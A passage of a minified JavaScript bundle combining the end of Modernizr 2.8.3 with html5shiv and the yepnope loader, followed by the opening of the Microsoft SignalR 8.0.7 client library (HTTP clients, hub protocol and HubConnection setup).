w.list&&(w.list=!!t.createElement("datalist")&&!!n.HTMLDataListElement),w}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" "));u.inputtypes=function(n){for(var u=0,r,f,o,h=n.length;u<h;u++)e.setAttribute("type",f=n[u]),r=e.type!=="text",r&&(e.value=g,e.style.cssText="position:absolute;visibility:hidden;",/^range$/.test(f)&&e.style.WebkitAppearance!==i?(s.appendChild(e),o=t.defaultView,r=o.getComputedStyle&&o.getComputedStyle(e,null).WebkitAppearance!=="textfield"&&e.offsetHeight!==0,s.removeChild(e)):/^(search|tel)$/.test(f)||(r=/^(url|email)$/.test(f)?e.checkValidity&&e.checkValidity()===!1:e.value!=g)),ct[n[u]]=!!r;return ct}("search tel url email datetime date month week time datetime-local number range color".split(" "))}var u={},d=!0,s=t.documentElement,o="modernizr",ft=t.createElement(o),c=ft.style,e=t.createElement("input"),g=":)",et={}.toString,y=" -webkit- -moz- -o- -ms- ".split(" "),ot="Webkit Moz O ms",st=ot.split(" "),ht=ot.toLowerCase().split(" "),p={svg:"http://www.w3.org/2000/svg"},r={},ct={},w={},nt=[],tt=nt.slice,b,v=function(n,i,r,u){var l,a,c,v,f=t.createElement("div"),h=t.body,e=h||t.createElement("body");if(parseInt(r,10))while(r--)c=t.createElement("div"),c.id=u?u[r]:o+(r+1),f.appendChild(c);return l=["&#173;",'<style id="s',o,'">',n,"<\/style>"].join(""),f.id=o,(h?f:e).innerHTML+=l,e.appendChild(f),h||(e.style.background="",e.style.overflow="hidden",v=s.style.overflow,s.style.overflow="hidden",s.appendChild(e)),a=i(f,n),h?f.parentNode.removeChild(f):(e.parentNode.removeChild(e),s.style.overflow=v),!!a},lt=function(){function n(n,u){u=u||t.createElement(r[n]||"div");n="on"+n;var f=n in u;return f||(u.setAttribute||(u=t.createElement("div")),u.setAttribute&&u.removeAttribute&&(u.setAttribute(n,""),f=h(u[n],"function"),h(u[n],"undefined")||(u[n]=i),u.removeAttribute(n))),u=null,f}var r={select:"input",change:"input",submit:"form",reset:"form",error:"img",load:"img",abort:"img"};return n}(),it={}.hasOwnProperty,rt,k;rt=!h(it,"undefined")&&!h(it.call,"undefined")?function(n,t){return it.call(n,t)}:function(n,t){return t in n&&h(n.constructor.prototype[t],"undefined")};Function.prototype.bind||(Function.prototype.bind=function(n){var t=this,i,r;if(typeof t!="function")throw new TypeError;return i=tt.call(arguments,1),r=function(){var f,e,u;return this instanceof r?(f=function(){},f.prototype=t.prototype,e=new f,u=t.apply(e,i.concat(tt.call(arguments))),Object(u)===u?u:e):t.apply(n,i.concat(tt.call(arguments)))},r});r.flexbox=function(){return f("flexWrap")};r.flexboxlegacy=function(){return f("boxDirection")};r.canvas=function(){var n=t.createElement("canvas");return!!n.getContext&&!!n.getContext("2d")};r.canvastext=function(){return!!u.canvas&&!!h(t.createElement("canvas").getContext("2d").fillText,"function")};r.webgl=function(){return!!n.WebGLRenderingContext};r.touch=function(){var i;return"ontouchstart"in n||n.DocumentTouch&&t instanceof DocumentTouch?i=!0:v(["@media (",y.join("touch-enabled),("),o,")","{#modernizr{top:9px;position:absolute}}"].join(""),function(n){i=n.offsetTop===9}),i};r.geolocation=function(){return"geolocation"in navigator};r.postmessage=function(){return!!n.postMessage};r.websqldatabase=function(){return!!n.openDatabase};r.indexedDB=function(){return!!f("indexedDB",n)};r.hashchange=function(){return lt("hashchange",n)&&(t.documentMode===i||t.documentMode>7)};r.history=function(){return!!n.history&&!!history.pushState};r.draganddrop=function(){var n=t.createElement("div");return"draggable"in n||"ondragstart"in n&&"ondrop"in n};r.websockets=function(){return"WebSocket"in n||"MozWebSocket"in n};r.rgba=function(){return l("background-color:rgba(150,255,150,.5)"),a(c.backgroundColor,"rgba")};r.hsla=function(){return l("background-color:hsla(120,40%,100%,.5)"),a(c.backgroundColor,"rgba")||a(c.backgroundColor,"hsla")};r.multiplebgs=function(){return l("background:url(https://),url(https://),red url(https://)"),/(url\s*\(.*?){3}/.test(c.background)};r.backgroundsize=function(){return f("backgroundSize")};r.borderimage=function(){return f("borderImage")};r.borderradius=function(){return f("borderRadius")};r.boxshadow=function(){return f("boxShadow")};r.textshadow=function(){return t.createElement("div").style.textShadow===""};r.opacity=function(){return at("opacity:.55"),/^0.55$/.test(c.opacity)};r.cssanimations=function(){return f("animationName")};r.csscolumns=function(){return f("columnCount")};r.cssgradients=function(){var n="background-image:";return l((n+"-webkit- ".split(" ").join("gradient(linear,left top,right bottom,from(#9f9),to(white));"+n)+y.join("linear-gradient(left top,#9f9, white);"+n)).slice(0,-n.length)),a(c.backgroundImage,"gradient")};r.cssreflections=function(){return f("boxReflect")};r.csstransforms=function(){return!!f("transform")};r.csstransforms3d=function(){var n=!!f("perspective");return n&&"webkitPerspective"in s.style&&v("@media (transform-3d),(-webkit-transform-3d){#modernizr{left:9px;position:absolute;height:3px;}}",function(t){n=t.offsetLeft===9&&t.offsetHeight===3}),n};r.csstransitions=function(){return f("transition")};r.fontface=function(){var n;return v('@font-face {font-family:"font";src:url("https://")}',function(i,r){var f=t.getElementById("smodernizr"),u=f.sheet||f.styleSheet,e=u?u.cssRules&&u.cssRules[0]?u.cssRules[0].cssText:u.cssText||"":"";n=/src/i.test(e)&&e.indexOf(r.split(" ")[0])===0}),n};r.generatedcontent=function(){var n;return v(["#",o,"{font:0/0 a}#",o,':after{content:"',g,'";visibility:hidden;font:3px/1 a}'].join(""),function(t){n=t.offsetHeight>=3}),n};r.video=function(){var i=t.createElement("video"),n=!1;try{(n=!!i.canPlayType)&&(n=new Boolean(n),n.ogg=i.canPlayType('video/ogg; codecs="theora"').replace(/^no$/,""),n.h264=i.canPlayType('video/mp4; codecs="avc1.42E01E"').replace(/^no$/,""),n.webm=i.canPlayType('video/webm; codecs="vp8, vorbis"').replace(/^no$/,""))}catch(r){}return n};r.audio=function(){var i=t.createElement("audio"),n=!1;try{(n=!!i.canPlayType)&&(n=new Boolean(n),n.ogg=i.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/,""),n.mp3=i.canPlayType("audio/mpeg;").replace(/^no$/,""),n.wav=i.canPlayType('audio/wav; codecs="1"').replace(/^no$/,""),n.m4a=(i.canPlayType("audio/x-m4a;")||i.canPlayType("audio/aac;")).replace(/^no$/,""))}catch(r){}return n};r.localstorage=function(){try{return localStorage.setItem(o,o),localStorage.removeItem(o),!0}catch(n){return!1}};r.sessionstorage=function(){try{return sessionStorage.setItem(o,o),sessionStorage.removeItem(o),!0}catch(n){return!1}};r.webworkers=function(){return!!n.Worker};r.applicationcache=function(){return!!n.applicationCache};r.svg=function(){return!!t.createElementNS&&!!t.createElementNS(p.svg,"svg").createSVGRect};r.inlinesvg=function(){var n=t.createElement("div");return n.innerHTML="<svg/>",(n.firstChild&&n.firstChild.namespaceURI)==p.svg};r.smil=function(){return!!t.createElementNS&&/SVGAnimate/.test(et.call(t.createElementNS(p.svg,"animate")))};r.svgclippaths=function(){return!!t.createElementNS&&/SVGClipPath/.test(et.call(t.createElementNS(p.svg,"clipPath")))};for(k in r)rt(r,k)&&(b=k.toLowerCase(),u[b]=r[k](),nt.push((u[b]?"":"no-")+b));return u.input||yt(),u.addTest=function(n,t){if(typeof n=="object")for(var r in n)rt(n,r)&&u.addTest(r,n[r]);else{if(n=n.toLowerCase(),u[n]!==i)return u;t=typeof t=="function"?t():t;typeof d!="undefined"&&d&&(s.className+=" "+(t?"":"no-")+n);u[n]=t}return u},l(""),ft=e=null,function(n,t){function v(n,t){var i=n.createElement("p"),r=n.getElementsByTagName("head")[0]||n.documentElement;return i.innerHTML="x<style>"+t+"<\/style>",r.insertBefore(i.lastChild,r.firstChild)}function s(){var n=r.elements;return typeof n=="string"?n.split(" "):n}function u(n){var t=a[n[l]];return t||(t={},o++,n[l]=o,a[o]=t),t}function h(n,r,f){if(r||(r=t),i)return r.createElement(n);f||(f=u(r));var e;return e=f.cache[n]?f.cache[n].cloneNode():b.test(n)?(f.cache[n]=f.createElem(n)).cloneNode():f.createElem(n),e.canHaveChildren&&!w.test(n)&&!e.tagUrn?f.frag.appendChild(e):e}function y(n,r){if(n||(n=t),i)return n.createDocumentFragment();r=r||u(n);for(var e=r.frag.cloneNode(),f=0,o=s(),h=o.length;f<h;f++)e.createElement(o[f]);return e}function p(n,t){t.cache||(t.cache={},t.createElem=n.createElement,t.createFrag=n.createDocumentFragment,t.frag=t.createFrag());n.createElement=function(i){return r.shivMethods?h(i,n,t):t.createElem(i)};n.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+s().join().replace(/[\w\-]+/g,function(n){return t.createElem(n),t.frag.createElement(n),'c("'+n+'")'})+");return n}")(r,t.frag)}function c(n){n||(n=t);var f=u(n);return r.shivCSS&&!e&&!f.hasCSS&&(f.hasCSS=!!v(n,"article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}")),i||p(n,f),n}var f=n.html5||{},w=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,b=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,e,l="_html5shiv",o=0,a={},i,r;(function(){try{var n=t.createElement("a");n.innerHTML="<xyz><\/xyz>";e="hidden"in n;i=n.childNodes.length==1||function(){t.createElement("a");var n=t.createDocumentFragment();return typeof n.cloneNode=="undefined"||typeof n.createDocumentFragment=="undefined"||typeof n.createElement=="undefined"}()}catch(r){e=!0;i=!0}})();r={elements:f.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:"3.7.0",shivCSS:f.shivCSS!==!1,supportsUnknownElements:i,shivMethods:f.shivMethods!==!1,type:"default",shivDocument:c,createElement:h,createDocumentFragment:y};n.html5=r;c(t)}(this,t),u._version="2.8.3",u._prefixes=y,u._domPrefixes=ht,u._cssomPrefixes=st,u.hasEvent=lt,u.testProp=function(n){return ut([n])},u.testAllProps=f,u.testStyles=v,s.className=s.className.replace(/(^|\s)no-js(\s|$)/,"$1$2")+(d?" js "+nt.join(" "):""),u}(this,this.document),function(n,t,i){function h(n){return"[object Function]"==y.call(n)}function c(n){return"string"==typeof n}function l(){}function w(n){return!n||"loaded"==n||"complete"==n||"uninitialized"==n}function f(){var n=a.shift();v=1;n?n.t?s(function(){("c"==n.t?u.injectCss:u.injectJs)(n.s,0,n.a,n.x,n.e,1)},0):(n(),f()):v=0}function ut(n,i,o,h,c,l,y){function k(t){if(!nt&&w(p.readyState)&&(tt.r=nt=1,!v&&f(),p.onload=p.onreadystatechange=null,t)){"img"!=n&&s(function(){g.removeChild(p)},50);for(var u in r[i])r[i].hasOwnProperty(u)&&r[i][u].onload()}}var y=y||u.errorTimeout,p=t.createElement(n),nt=0,b=0,tt={t:o,s:i,e:c,a:l,x:y};1===r[i]&&(b=1,r[i]=[]);"object"==n?p.data=i:(p.src=i,p.type=n);p.width=p.height="0";p.onerror=p.onload=p.onreadystatechange=function(){k.call(this,b)};a.splice(h,0,tt);"img"!=n&&(b||2===r[i]?(g.insertBefore(p,d?null:e),s(k,y)):r[i].push(p))}function ft(n,t,i,r,u){return v=0,t=t||"j",c(n)?ut("c"==t?et:nt,n,t,this.i++,i,r,u):(a.splice(this.i++,0,n),1==a.length&&f()),this}function b(){var n=u;return n.loader={load:ft,i:0},n}var o=t.documentElement,s=n.setTimeout,e=t.getElementsByTagName("script")[0],y={}.toString,a=[],v=0,k="MozAppearance"in o.style,d=k&&!!t.createRange().compareNode,g=d?o:e.parentNode,o=n.opera&&"[object Opera]"==y.call(n.opera),o=!!t.attachEvent&&!o,nt=k?"object":o?"script":"img",et=o?"script":nt,tt=Array.isArray||function(n){return"[object Array]"==y.call(n)},p=[],r={},it={timeout:function(n,t){return t.length&&(n.timeout=t[0]),n}},rt,u;u=function(n){function a(n){for(var n=n.split("!"),f=p.length,i=n.pop(),e=n.length,i={url:i,origUrl:i,prefixes:n},u,r,t=0;t<e;t++)r=n[t].split("="),(u=it[r.shift()])&&(i=u(i,r));for(t=0;t<f;t++)i=p[t](i);return i}function f(n,t,u,f,e){var o=a(n),s=o.autoCallback;o.url.split(".").pop().split("?").shift();o.bypass||(t&&(t=h(t)?t:t[n]||t[f]||t[n.split("/").pop().split("?")[0]]),o.instead?o.instead(n,t,u,f,e):(r[o.url]?o.noexec=!0:r[o.url]=1,u.load(o.url,o.forceCSS||!o.forceJS&&"css"==o.url.split(".").pop().split("?").shift()?"c":i,o.noexec,o.attrs,o.timeout),(h(t)||h(s))&&u.load(function(){b();t&&t(o.origUrl,e,f);s&&s(o.origUrl,e,f);r[o.url]=2})))}function s(n,t){function a(n,o){if(n){if(c(n))o||(i=function(){var n=[].slice.call(arguments);s.apply(this,n);u()}),f(n,i,t,0,e);else if(Object(n)===n)for(r in v=function(){var t=0;for(var i in n)n.hasOwnProperty(i)&&t++;return t}(),n)n.hasOwnProperty(r)&&(!o&&!--v&&(h(i)?i=function(){var n=[].slice.call(arguments);s.apply(this,n);u()}:i[r]=function(n){return function(){var t=[].slice.call(arguments);n&&n.apply(this,t);u()}}(s[r])),f(n[r],i,t,r,e))}else o||u()}var e=!!n.test,o=n.load||n.both,i=n.callback||l,s=i,u=n.complete||l,v,r;a(e?n.yep:n.nope,!!o);o&&a(o)}var e,t,o=this.yepnope.loader;if(c(n))f(n,0,o,0);else if(tt(n))for(e=0;e<n.length;e++)t=n[e],c(t)?f(t,0,o,0):tt(t)?u(t):Object(t)===t&&s(t,o);else Object(n)===n&&s(n,o)};u.addPrefix=function(n,t){it[n]=t};u.addFilter=function(n){p.push(n)};u.errorTimeout=1e4;null==t.readyState&&t.addEventListener&&(t.readyState="loading",t.addEventListener("DOMContentLoaded",rt=function(){t.removeEventListener("DOMContentLoaded",rt,0);t.readyState="complete"},0));n.yepnope=b();n.yepnope.executeStack=f;n.yepnope.injectJs=function(n,i,r,o,h,c){var a=t.createElement("script"),v,y,o=o||u.errorTimeout;a.src=n;for(y in r)a.setAttribute(y,r[y]);i=c?f:i||l;a.onreadystatechange=a.onload=function(){!v&&w(a.readyState)&&(v=1,i(),a.onload=a.onreadystatechange=null)};s(function(){v||(v=1,i(1))},o);h?a.onload():e.parentNode.insertBefore(a,e)};n.yepnope.injectCss=function(n,i,r,u,o,h){var u=t.createElement("link"),c,i=h?f:i||l;u.href=n;u.rel="stylesheet";u.type="text/css";for(c in r)u.setAttribute(c,r[c]);o||(e.parentNode.insertBefore(u,e),s(i,0))}}(this,document);Modernizr.load=function(){yepnope.apply(window,[].slice.call(arguments,0))},function(n,t){typeof exports=="object"&&typeof module=="object"?module.exports=t():typeof define=="function"&&define.amd?define([],t):typeof exports=="object"?exports.signalR=t():n.signalR=t()}(self,()=>(()=>{function w(n,t){let i="";return l(n)?(i=`Binary data of length ${n.byteLength}`,t&&(i+=`. Content: '${kt(n)}'`)):typeof n=="string"&&(i=`String data of length ${n.length}`,t&&(i+=`. Content: '${n}'`)),i}function kt(n){const i=new Uint8Array(n);let t="";return i.forEach(n=>{const i=n<16?"0":"";t+=`0x${i}${n.toString(16)} `}),t.substr(0,t.length-1)}function l(n){return n&&typeof ArrayBuffer!="undefined"&&(n instanceof ArrayBuffer||n.constructor&&n.constructor.name==="ArrayBuffer")}async function ft(t,i,r,u,f,e){const o={},[s,h]=y();o[s]=h;t.log(n.Trace,`(${i} transport) sending data. ${w(f,e.logMessageContent)}.`);const c=l(f)?"arraybuffer":"text",a=await r.post(u,{content:f,headers:{...o,...e.headers},responseType:c,timeout:e.timeout,withCredentials:e.withCredentials});t.log(n.Trace,`(${i} transport) request complete. Response status: ${a.statusCode}.`)}function dt(t){return t===undefined?new d(n.Information):t===null?v.instance:t.log!==undefined?t:new d(t)}function y(){let n="X-SignalR-User-Agent";return r.isNode&&(n="User-Agent"),[n,ni(ut,ti(),ri(),ii())]}function ni(n,t,i,r){let u="Microsoft SignalR/";const f=n.split(".");return u+=`${f[0]}.${f[1]}`,u+=` (${n}; `,u+=t&&t!==""?`${t}; `:"Unknown OS; ",u+=`${i}`,u+=r?`; ${r}`:"; Unknown Runtime Version",u+")"}function ti(){if(r.isNode)switch(process.platform){case"win32":return"Windows NT";case"darwin":return"macOS";case"linux":return"Linux";default:return process.platform}else return""}function ii(){return r.isNode?process.versions.node:undefined}function ri(){return r.isNode?"NodeJS":"Browser"}function tt(n){return n.stack?n.stack:n.message?n.message:`${n}`}function ui(){if(typeof globalThis!="undefined")return globalThis;if(typeof self!="undefined")return self;if(typeof window!="undefined")return window;if(typeof h.g!="undefined")return h.g;throw new Error("could not find global");}function et(n,t){let i;switch(t){case"arraybuffer":i=n.arrayBuffer();break;case"text":i=n.text();break;case"blob":case"document":case"json":throw new Error(`${t} is not supported.`);default:i=n.text()}return i}function di(n,t){return!n||(t&n)!=0}function tr(n){const t=nr[n.toLowerCase()];if(typeof t!="undefined")return t;throw new Error(`Unknown log level: ${n}`);}function rr(n){return n.log!==undefined}var h,b,n,t,i,f,e;h={};(()=>{h.d=(n,t)=>{for(var i in t)h.o(t,i)&&!h.o(n,i)&&Object.defineProperty(n,i,{enumerable:!0,get:t[i]})}})();(()=>{h.g=function(){if(typeof globalThis=="object")return globalThis;try{return this||new Function("return this")()}catch(n){if(typeof window=="object")return window}}()})();(()=>{h.o=(n,t)=>Object.prototype.hasOwnProperty.call(n,t)})();(()=>{h.r=n=>{typeof Symbol!="undefined"&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})}})();b={};h.r(b);h.d(b,{AbortError:()=>o,DefaultHttpClient:()=>ot,HttpClient:()=>p,HttpError:()=>c,HttpResponse:()=>nt,HttpTransportType:()=>f,HubConnection:()=>it,HubConnectionBuilder:()=>ir,HubConnectionState:()=>i,JsonHubProtocol:()=>vt,LogLevel:()=>n,MessageType:()=>t,NullLogger:()=>v,Subject:()=>st,TimeoutError:()=>k,TransferFormat:()=>e,VERSION:()=>ut});class c extends Error{constructor(n,t){const i=new.target.prototype;super(`${n}: Status code '${t}'`);this.statusCode=t;this.__proto__=i}}class k extends Error{constructor(n="A timeout occurred."){const t=new.target.prototype;super(n);this.__proto__=t}}class o extends Error{constructor(n="An abort occurred."){const t=new.target.prototype;super(n);this.__proto__=t}}class yt extends Error{constructor(n,t){const i=new.target.prototype;super(n);this.transport=t;this.errorType="UnsupportedTransportError";this.__proto__=i}}class pt extends Error{constructor(n,t){const i=new.target.prototype;super(n);this.transport=t;this.errorType="DisabledTransportError";this.__proto__=i}}class wt extends Error{constructor(n,t){const i=new.target.prototype;super(n);this.transport=t;this.errorType="FailedToStartTransportError";this.__proto__=i}}class rt extends Error{constructor(n){const t=new.target.prototype;super(n);this.errorType="FailedToNegotiateWithServerError";this.__proto__=t}}class bt extends Error{constructor(n,t){const i=new.target.prototype;super(n);this.innerErrors=t;this.__proto__=i}}class nt{constructor(n,t,i){this.statusCode=n;this.statusText=t;this.content=i}}class p{get(n,t){return this.send({...t,method:"GET",url:n})}post(n,t){return this.send({...t,method:"POST",url:n})}delete(n,t){return this.send({...t,method:"DELETE",url:n})}getCookieString(){return""}}(function(n){n[n.Trace=0]="Trace";n[n.Debug=1]="Debug";n[n.Information=2]="Information";n[n.Warning=3]="Warning";n[n.Error=4]="Error";n[n.Critical=5]="Critical";n[n.None=6]="None"})(n||(n={}));class v{constructor(){}log(){}}v.instance=new v;const ut="8.0.7";class u{static isRequired(n,t){if(n===null||n===undefined)throw new Error(`The '${t}' argument is required.`);}static isNotEmpty(n,t){if(!n||n.match(/^\s*$/))throw new Error(`The '${t}' argument should not be empty.`);}static isIn(n,t,i){if(!(n in t))throw new Error(`Unknown ${i} value: ${n}.`);}}class r{static get isBrowser(){return!r.isNode&&typeof window=="object"&&typeof document=="object"}static get isWebWorker(){return!r.isNode&&typeof self=="object"&&"importScripts"in self}static get isReactNative(){return!r.isNode&&typeof window=="object"&&typeof document=="undefined"}static get isNode(){return typeof process!="undefined"&&process.release&&process.release.name==="node"}}class gt{constructor(n,t){this._subject=n;this._observer=t}dispose(){const n=this._subject.observers.indexOf(this._observer);n>-1&&this._subject.observers.splice(n,1);this._subject.observers.length===0&&this._subject.cancelCallback&&this._subject.cancelCallback().catch(()=>{})}}class d{constructor(n){this._minLevel=n;this.out=console}log(t,i){if(t>=this._minLevel){const r=`[${(new Date).toISOString()}] ${n[t]}: ${i}`;switch(t){case n.Critical:case n.Error:this.out.error(r);break;case n.Warning:this.out.warn(r);break;case n.Information:this.out.info(r);break;default:this.out.log(r)}}}}class fi extends p{constructor(n){if(super(),this._logger=n,typeof fetch=="undefined"||r.isNode){const n=require;this._jar=new(n("tough-cookie").CookieJar);this._fetchType=typeof fetch=="undefined"?n("node-fetch"):fetch;this._fetchType=n("fetch-cookie")(this._fetchType,this._jar)}else this._fetchType=fetch.bind(ui());if(typeof AbortController=="undefined"){const n=require;this._abortControllerType=n("abort-controller")}else this._abortControllerType=AbortController}async send(t){if(t.abortSignal&&t.abortSignal.aborted)throw new o;if(!t.method)throw new Error("No method defined.");if(!t.url)throw new Error("No url defined.");const u=new this._abortControllerType;let r;t.abortSignal&&(t.abortSignal.onabort=()=>{u.abort(),r=new o});let f=null;if(t.timeout){const i=t.timeout;f=setTimeout(()=>{u.abort(),this._logger.log(n.Warning,`Timeout from HTTP request.`),r=new k},i)}t.content===""&&(t.content=undefined);t.content&&(t.headers=t.headers||{},t.headers["Content-Type"]=l(t.content)?"application/octet-stream":"text/plain;charset=UTF-8");let i;try{i=await this._fetchType(t.url,{body:t.content,cache:"no-cache",credentials:t.withCredentials===!0?"include":"same-origin",headers:{"X-Requested-With":"XMLHttpRequest",...t.headers},method:t.method,mode:"cors",redirect:"follow",signal:u.signal})}catch(e){if(r)throw r;this._logger.log(n.Warning,`Error from HTTP request. ${e}.`);throw e;}finally{f&&clearTimeout(f);t.abortSignal&&(t.abortSignal.onabort=null)}if(!i.ok){const n=await et(i,"text");throw new c(n||i.statusText,i.status);}const s=et(i,t.responseType),h=await s;return new nt(i.status,i.statusText,h)}getCookieString(n){let t="";return r.isNode&&this._jar&&this._jar.getCookies(n,(n,i)=>t=i.join("; ")),t}}class ei extends p{constructor(n){super();this._logger=n}send(t){return t.abortSignal&&t.abortSignal.aborted?Promise.reject(new o):t.method?t.url?new Promise((i,r)=>{const u=new XMLHttpRequest;u.open(t.method,t.url,!0);u.withCredentials=t.withCredentials===undefined?!0:t.withCredentials;u.setRequestHeader("X-Requested-With","XMLHttpRequest");t.content===""&&(t.content=undefined);t.content&&(l(t.content)?u.setRequestHeader("Content-Type","application/octet-stream"):u.setRequestHeader("Content-Type","text/plain;charset=UTF-8"));const f=t.headers;f&&Object.keys(f).forEach(n=>{u.setRequestHeader(n,f[n])});t.responseType&&(u.responseType=t.responseType);t.abortSignal&&(t.abortSignal.onabort=()=>{u.abort(),r(new o)});t.timeout&&(u.timeout=t.timeout);u.onload=()=>{t.abortSignal&&(t.abortSignal.onabort=null),u.status>=200&&u.status<300?i(new nt(u.status,u.statusText,u.response||u.responseText)):r(new c(u.response||u.responseText||u.statusText,u.status))};u.onerror=()=>{this._logger.log(n.Warning,`Error from HTTP request. ${u.status}: ${u.statusText}.`),r(new c(u.statusText,u.status))};u.ontimeout=()=>{this._logger.log(n.Warning,`Timeout from HTTP request.`),r(new k)};u.send(t.content)}):Promise.reject(new Error("No url defined.")):Promise.reject(new Error("No method defined."))}}class ot extends p{constructor(n){if(super(),typeof fetch!="undefined"||r.isNode)this._httpClient=new fi(n);else if(typeof XMLHttpRequest!="undefined")this._httpClient=new ei(n);else throw new Error("No usable HttpClient found.");}send(n){return n.abortSignal&&n.abortSignal.aborted?Promise.reject(new o):n.method?n.url?this._httpClient.send(n):Promise.reject(new Error("No url defined.")):Promise.reject(new Error("No method defined."))}getCookieString(n){return this._httpClient.getCookieString(n)}}class s{static write(n){return`${n}${s.RecordSeparator}`}static parse(n){if(n[n.length-1]!==s.RecordSeparator)throw new Error("Message is incomplete.");const t=n.split(s.RecordSeparator);return t.pop(),t}}s.RecordSeparatorCode=30;s.RecordSeparator=String.fromCharCode(s.RecordSeparatorCode);class oi{writeHandshakeRequest(n){return s.write(JSON.stringify(n))}parseHandshakeResponse(n){let t,i;if(l(n)){const r=new Uint8Array(n),f=r.indexOf(s.RecordSeparatorCode);if(f===-1)throw new Error("Message is incomplete.");const u=f+1;t=String.fromCharCode.apply(null,Array.prototype.slice.call(r.slice(0,u)));i=r.byteLength>u?r.slice(u).buffer:null}else{const r=n,f=r.indexOf(s.RecordSeparator);if(f===-1)throw new Error("Message is incomplete.");const u=f+1;t=r.substring(0,u);i=r.length>u?r.substring(u):null}const u=s.parse(t),r=JSON.parse(u[0]);if(r.type)throw new Error("Expected a handshake response from the server.");const f=r;return[i,f]}}(function(n){n[n.Invocation=1]="Invocation";n[n.StreamItem=2]="StreamItem";n[n.Completion=3]="Completion";n[n.StreamInvocation=4]="StreamInvocation";n[n.CancelInvocation=5]="CancelInvocation";n[n.Ping=6]="Ping";n[n.Close=7]="Close";n[n.Ack=8]="Ack";n[n.Sequence=9]="Sequence"})(t||(t={}));class st{constructor(){this.observers=[]}next(n){for(const t of this.observers)t.next(n)}error(n){for(const t of this.observers)t.error&&t.error(n)}complete(){for(const n of this.observers)n.complete&&n.complete()}subscribe(n){return this.observers.push(n),new gt(this,n)}}class si{constructor(n,t,i){this._bufferSize=1e5;this._messages=[];this._totalMessageCount=0;this._waitForSequenceMessage=!1;this._nextReceivingSequenceId=1;this._latestReceivedSequenceId=0;this._bufferedByteCount=0;this._reconnectInProgress=!1;this._protocol=n;this._connection=t;this._bufferSize=i}async _send(n){const t=this._protocol.writeMessage(n);let i=Promise.resolve();if(this._isInvocationMessage(n)){this._totalMessageCount++;let n=()=>{},r=()=>{};this._bufferedByteCount+=l(t)?t.byteLength:t.length;this._bufferedByteCount>=this._bufferSize&&(i=new Promise((t,i)=>{n=t,r=i}));this._messages.push(new hi(t,this._totalMessageCount,n,r))}try{this._reconnectInProgress||await this._connection.send(t)}catch{this._disconnected()}await i}_ack(n){let t=-1;for(let i=0;i<this._messages.length;i++){const r=this._messages[i];if(r._id<=n.sequenceId)t=i,this._bufferedByteCount-=l(r._message)?r._message.byteLength:r._message.length,r._resolver();else if(this._bufferedByteCount<this._bufferSize)r._resolver();else break}t!==-1&&(this._messages=this._messages.slice(t+1))}_shouldProcessMessage(n){if(this._waitForSequenceMessage)return n.type!==t.Sequence?!1:(this._waitForSequenceMessage=!1,!0);if(!this._isInvocationMessage(n))return!0;const i=this._nextReceivingSequenceId;return(this._nextReceivingSequenceId++,i<=this._latestReceivedSequenceId)?(i===this._latestReceivedSequenceId&&this._ackTimer(),!1):(this._latestReceivedSequenceId=i,this._ackTimer(),!0)}_resetSequence(n){if(n.sequenceId>this._nextReceivingSequenceId){this._connection.stop(new Error("Sequence ID greater than amount of messages we've received."));return}this._nextReceivingSequenceId=n.sequenceId}_disconnected(){this._reconnectInProgress=!0;this._waitForSequenceMessage=!0}async _resend(){const n=this._messages.length!==0?this._messages[0]._id:this._totalMessageCount+1;await this._connection.send(this._protocol.writeMessage({type:t.Sequence,sequenceId:n}));const i=this._messages;for(const n of i)await this._connection.send(n._message);this._reconnectInProgress=!1}_dispose(n){n!==null&&n!==void 0?n:n=new Error("Unable to reconnect to server.");for(const t of this._messages)t._rejector(n)}_isInvocationMessage(n){switch(n.type){case t.Invocation:case t.StreamItem:case t.Completion:case t.StreamInvocation:case t.CancelInvocation:return!0;case t.Close:case t.Sequence:case t.Ping:case t.Ack:return!1}}_ackTimer(){this._ackTimerHandle===undefined&&(this._ackTimerHandle=setTimeout(async()=>{try{this._reconnectInProgress||await this._connection.send(this._protocol.writeMessage({type:t.Ack,sequenceId:this._latestReceivedSequenceId}))}catch{}clearTimeout(this._ackTimerHandle);this._ackTimerHandle=undefined},1e3))}}class hi{constructor(n,t,i,r){this._message=n;this._id=t;this._resolver=i;this._rejector=r}}const ci=3e4,li=15e3,ai=1e5;(function(n){n.Disconnected="Disconnected";n.Connecting="Connecting";n.Connected="Connected";n.Disconnecting="Disconnecting";n.Reconnecting="Reconnecting"})(i||(i={}));class it{static create(n,t,i,r,u,f,e){return new it(n,t,i,r,u,f,e)}constructor(r,f,e,o,s,h,c){this._nextKeepAlive=0;this._freezeEventListener=()=>{this._logger.log(n.Warning,"The page is being frozen, this will likely lead to the connection being closed and messages being lost. For more information see the docs at https://learn.microsoft.com/aspnet/core/signalr/javascript-client#bsleep")};u.isRequired(r,"connection");u.isRequired(f,"logger");u.isRequired(e,"protocol");this.serverTimeoutInMilliseconds=s!==null&&s!==void 0?s:ci;this.keepAliveIntervalInMilliseconds=h!==null&&h!==void 0?h:li;this._statefulReconnectBufferSize=c!==null&&c!==void 0?c:ai;this._logger=f;this._protocol=e;this.connection=r;this._reconnectPolicy=o;this._handshakeProtocol=new oi;this.connection.onreceive=n=>this._processIncomingData(n);this.connection.onclose=n=>this._connectionClosed(n);this._callbacks={};this._methods={};this._closedCallbacks=[];this._reconnectingCallbacks=[];this._reconnectedCallbacks=[];this._invocationId=0;this._receivedHandshakeResponse=!1;this._connectionState=i.Disconnected;this._connectionStarted=!1;this._cachedPingMessage=this._protocol.writeMessage({type:t.Ping})}get state(){return this._connectionState}get connectionId(){return this.connection?this.connection.connectionId||null:null}get baseUrl(){return this.connection.baseUrl||""}set baseUrl(n){if(this._connectionState!==i.Disconnected&&this._connectionState!==i.Reconnecting)throw new Error("The HubConnection must be in the Disconnected or Reconnecting state to change the url.");if(!n)throw new Error("The HubConnection url must be a valid 